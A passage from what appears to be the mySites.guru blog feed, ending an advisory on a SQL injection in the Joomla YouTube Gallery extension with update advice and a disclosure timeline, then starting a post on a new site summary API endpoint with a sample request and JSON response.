&lt;div&gt;&lt;p&gt;Most affected installs are on the old 4.x line&lt;/p&gt;&lt;div&gt;&lt;p&gt;Across the Joomla sites we monitor, about three in four affected YouTube Gallery installs are on a version older than 5.0, and most of those sites run &lt;a href=&quot;https://joomla3security.com/&quot;&gt;Joomla 3&lt;/a&gt;. There is no 4.x security release. The fix for those sites is the same 5.7.3 as everyone else, and in our data 5.x builds already run on Joomla 3.10 sites. JoomlaBoat lists PHP 7.4 as the minimum.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What you should do right now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update YouTube Gallery to 5.7.3&lt;/strong&gt; on every Joomla site that has it, from &lt;a href=&quot;https://joomlaboat.com/youtube-gallery&quot;&gt;JoomlaBoat’s download page&lt;/a&gt; or through Joomla’s updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the version afterwards.&lt;/strong&gt; In System, Manage, Extensions, the YouTube Gallery component should read 5.7.3.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you cannot update today,&lt;/strong&gt; disable the component, its content plugin and its module until you can. That removes the public search and the routed video URLs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look for administrator accounts you did not create.&lt;/strong&gt; A SQL injection that can read the users table is a route to account takeover through password hashes and session data. Our walkthrough on &lt;a href=&quot;https://mysites.guru/blog/find-rogue-admin-accounts-joomla/&quot;&gt;finding rogue admin accounts in Joomla&lt;/a&gt; shows what to look for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If the gallery is no longer used, uninstall it.&lt;/strong&gt; An extension no one uses still answers requests from anyone who finds it.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;How mySites.guru finds every YouTube Gallery install&lt;/h2&gt;
&lt;p&gt;The hard part of any extension vulnerability is knowing which of your sites run the thing, and at what version. mySites.guru keeps a live inventory of every extension on every connected Joomla site, so one search for YouTube Gallery returns every site with it installed and the version each one runs.&lt;/p&gt;
&lt;p&gt;We added &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94130/&quot;&gt;CVE-2026-94130&lt;/a&gt; to our &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerability database&lt;/a&gt; on the day it was published, so every connected site below 5.7.3 is flagged on its dashboard now, without anyone having to go looking. The &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; then pushes the update to all of them from one screen. That is part of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;, and it works the same way across a &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;portfolio of Joomla sites&lt;/a&gt; of any size.&lt;/p&gt;
&lt;h2&gt;Why old video galleries keep turning up in security advisories&lt;/h2&gt;
&lt;p&gt;Video and gallery extensions tend to be installed once, when the site is built, and then forgotten. They keep working, so no one opens the extension manager to look, and the version falls further behind every year. The version spread we see for YouTube Gallery shows it clearly: installs dating back to the 1.x and 2.x releases, and a big block of sites still running a 4.x build that has not changed in years.&lt;/p&gt;
&lt;p&gt;It has happened to this component before. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2014-4960&quot;&gt;CVE-2014-4960&lt;/a&gt;, published in July 2014, was an unauthenticated SQL injection in the same component, through its &lt;code&gt;listid&lt;/code&gt; and &lt;code&gt;themeid&lt;/code&gt; parameters, affecting 4.x through 4.1.7. Twelve years on, we still see a handful of connected sites running builds older than that.&lt;/p&gt;
&lt;p&gt;Those old installs are what an attacker scanning for a newly published CVE finds first. An unauthenticated front-end SQL injection needs nothing but the URL of a page that shows a gallery. If you manage client sites, this is the kind of extension worth auditing for, whether or not anyone remembers adding it.&lt;/p&gt;
&lt;p&gt;If a site has already been hit, or you would rather someone else clean it up, &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; patches the site, audits it for backdoors and returns it to you for a single fixed fee. Our &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; covers what to check yourself.&lt;/p&gt;
&lt;h2&gt;Disclosure and credit&lt;/h2&gt;
&lt;p&gt;We did not find this flaw, and it is one of a long run of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Joomla extension security issues this year&lt;/a&gt;. The &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94130&quot;&gt;CVE record&lt;/a&gt; credits Osman Hussein, Krzysztof Zając of CERT Polska, and Dick Snel of onvio.nl as finders, and was published by the Joomla CNA on 26 September 2026. We have seen no report of this flaw being exploited in the wild, and it is not on CISA’s Known Exploited Vulnerabilities list as of the date of this post. The fix is YouTube Gallery 5.7.3.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-26&lt;/strong&gt; Search query fix committed to JoomlaBoat&apos;s public repository The commit is titled &quot;Security: Fixed SQL injection vulnerability in search functionality&quot; and bumps the version to 5.7.3.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-27&lt;/strong&gt; Router fix committed &quot;Security: Fixed SQL injection vulnerability in router.&quot; Both fixes are visible to anyone reading the repository.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; CVE-2026-94130 published by the Joomla CNA CVSS 4.0 9.3 Critical, versions 1.0.0 to 5.7.2 affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-26&lt;/strong&gt; mySites.guru flags every affected site The range is in our vulnerability database, so connected sites below 5.7.3 are flagged automatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://joomlaboat.com/youtube-gallery&quot;&gt;YouTube Gallery product page&lt;/a&gt; - JoomlaBoat&apos;s download page for 5.7.3.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94130&quot;&gt;CVE-2026-94130 on cve.org&lt;/a&gt; - the CNA record with the affected range and vector.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomlaboat/YoutubeGallery&quot;&gt;joomlaboat/YoutubeGallery on GitHub&lt;/a&gt; - the extension&apos;s public source, including both fix commits.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; - the underlying weakness class.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html&quot;&gt;OWASP SQL Injection Prevention Cheat Sheet&lt;/a&gt; - why quoting and parameterising beats stripping characters.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>youtube gallery</category><category>joomlaboat</category><category>vulnerability</category><category>sql injection</category><category>extensions</category><category>youtubegallery</category><enclosure url="https://mysites.guru/img/og/blog/youtube-gallery-joomla-sql-injection.png" length="0" type="image/png"/></item><item><title>Every Site in Your Account From One API or MCP Call</title><link>https://mysites.guru/blog/mysites-guru-api-site-summary/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-api-site-summary/</guid><description>The new mySites.guru site summary endpoint returns versions, updates, vulnerabilities, backups and a needs-attention flag for every site in one API or MCP call.</description><pubDate>Thu, 24 Sep 2026 21:21:36 GMT</pubDate><content:encoded>&lt;p&gt;Since we published the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;mySites.guru API&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server that lets Claude manage your sites&lt;/a&gt;, many hundreds of digital agencies have created clients that read from their mySites.guru accounts. Some feed an internal dashboard, some post a morning report into Slack, and a lot of them are Claude conversations asking which sites need work today.&lt;/p&gt;
&lt;p&gt;Most of those integrations are well behaved. A few are not. We give every access token a generous 1,000 requests an hour, and some clients spend it by walking through every site in the account, one request per site, every minute, around the clock, and getting back the same answer each time because nothing has changed since the last lap.&lt;/p&gt;
&lt;p&gt;So today we are adding a &lt;strong&gt;site summary endpoint&lt;/strong&gt; to the API, and the matching &lt;code&gt;list_site_summaries&lt;/code&gt; tool to the MCP server. One call returns a complete summary of every site in your account. Where an integration used to make thousands of calls, it now makes one.&lt;/p&gt;
&lt;h2&gt;Why polling every site every minute tells you nothing new&lt;/h2&gt;
&lt;p&gt;The data behind the API does not change every minute. mySites.guru collects it on a schedule: each connected site is &lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;snapshotted twice a day&lt;/a&gt;, audits run daily, weekly or monthly depending on how you have set them up, and backups run on &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;whatever backup schedules you have created&lt;/a&gt;. Between those points, asking again returns what you already have.&lt;/p&gt;
&lt;p&gt;Take an agency with 200 sites that loops through them every minute. That is 12,000 requests an hour against a 1,000 an hour allowance, so the loop hits the limit about five minutes into each hour, starts collecting &lt;code&gt;429 Too Many Requests&lt;/code&gt; responses, and spends the next 55 minutes locked out, including for the requests that would have done something useful, such as triggering a backup. Slow the loop to every fifteen minutes and it fits, just, at 800 requests an hour, with almost nothing left for anything else. Either way it asks about each site somewhere between 96 and 1,440 times a day, for data that a snapshot refreshes twice.&lt;/p&gt;
&lt;p&gt;Those requests are not free on our side either. Every one of them is authenticated, checked against your team permissions and served from the same database the dashboard uses, for every mySites.guru customer at once.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Snapshots run twice a day. Poll accordingly.&lt;/p&gt;&lt;div&gt;&lt;p&gt;One summary call every few hours sees every change a per-site loop would, for a fraction of the requests.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the site summary endpoint returns&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;GET /api/v1/sites/summary&lt;/code&gt; returns one row per site, built entirely from data mySites.guru already holds. It makes no live call to any of your sites, so it is quick even on the largest accounts, and it costs one request from your hourly allowance whether you manage five sites or five hundred.&lt;/p&gt;
&lt;p&gt;Each row answers the questions agencies were making one request per site to ask:&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;Identity&lt;/dt&gt;&lt;dd&gt;The site hash_id, URL, friendly name, platform, your tags, and a manage_url that opens the site in the mySites.guru dashboard.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Versions&lt;/dt&gt;&lt;dd&gt;The CMS, PHP and database versions, and the mySites.guru connector version, as recorded at the last snapshot.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;State&lt;/dt&gt;&lt;dd&gt;Whether the site is connected, paused or flagged as hacked.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshot&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;When the site was last snapshotted, how many days ago that was, and a handful of facts from that snapshot: debug mode, caching, user registration, offline mode, super admin count, admins without two-factor authentication, and malicious cron jobs.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Audit&lt;/dt&gt;&lt;dd&gt;When the last audit ran, its id (ready to pass to the audit endpoint for the full result), and whether you have looked at it yet.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Backups&lt;/dt&gt;&lt;dd&gt;When the most recent backup started and, separately, when the most recent backup finished.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;Updates&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;How many updates are waiting and whether a core update is available.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;Vulnerabilities&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;How many installed extensions or plugins have known vulnerabilities, and how many known vulnerabilities affect the core version.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;The certificate expiry date and the days remaining, which goes negative once it has lapsed.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;Attention&lt;/dt&gt;&lt;dd&gt;A needs_attention flag and the list of reasons behind it.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;There are two backup times because the start time is written when a backup begins, so on its own it cannot tell you whether the backup finished. &lt;code&gt;last_backup_completed&lt;/code&gt; comes from the backup records themselves and is the one to trust when a client asks whether last night’s backup worked.&lt;/p&gt;
&lt;p&gt;Sites that are not WordPress or Joomla, the ones connected as general websites, return &lt;code&gt;null&lt;/code&gt; for updates, vulnerable extensions and snapshot facts, because there is no CMS to count them on.&lt;/p&gt;
&lt;h3&gt;A request and a response&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;span&gt; https://manage.mysites.guru/api/v1/sites/summary?needs_attention=true&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Authorization:&lt;/span&gt;&lt;span&gt; Bearer eyJ...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;data&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;hash_id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;aB3xY9&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://acme.example.com&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;friendly_name&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Acme Corp&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;platform&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Joomla&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;manage_url&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;https://manage.mysites.guru/en/sites/manage/aB3xY9&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;tags&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [{ &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;slug&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;retainer&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Retainer&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;color&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;#0e1116&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; }],&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;5.3.3&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;php_version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.3.24&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;db_version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;8.0.43&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;connector_version&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026.09.1&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;is_connected&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;is_paused&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;is_hacked&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_snapshot&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-09-24T06:12:40+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;snapshot_age_days&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_audit&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-09-21T02:03:11+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_audit_id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;k9Qm2T&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;audit_unread&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_backup_started&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-09-24T01:00:02+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;last_backup_completed&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-09-23T01:04:57+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;updates_available&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;core_update_available&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;vulnerable_extensions&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;core_vulnerability_count&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;ssl_expiration&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-11-02T23:59:59+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;ssl_days_remaining&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 39&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;needs_attention&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;attention_reasons&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;updates_available&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;vulnerable_extensions&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;snapshot&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Zp7Lr4&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;debug_enabled&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;cache_enabled&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;user_registration_enabled&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;offline_mode&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;super_admin_count&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;non_2fa_admins&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &quot;&lt;/span&gt;&lt;span&gt;malicious_cron_jobs&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;meta&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
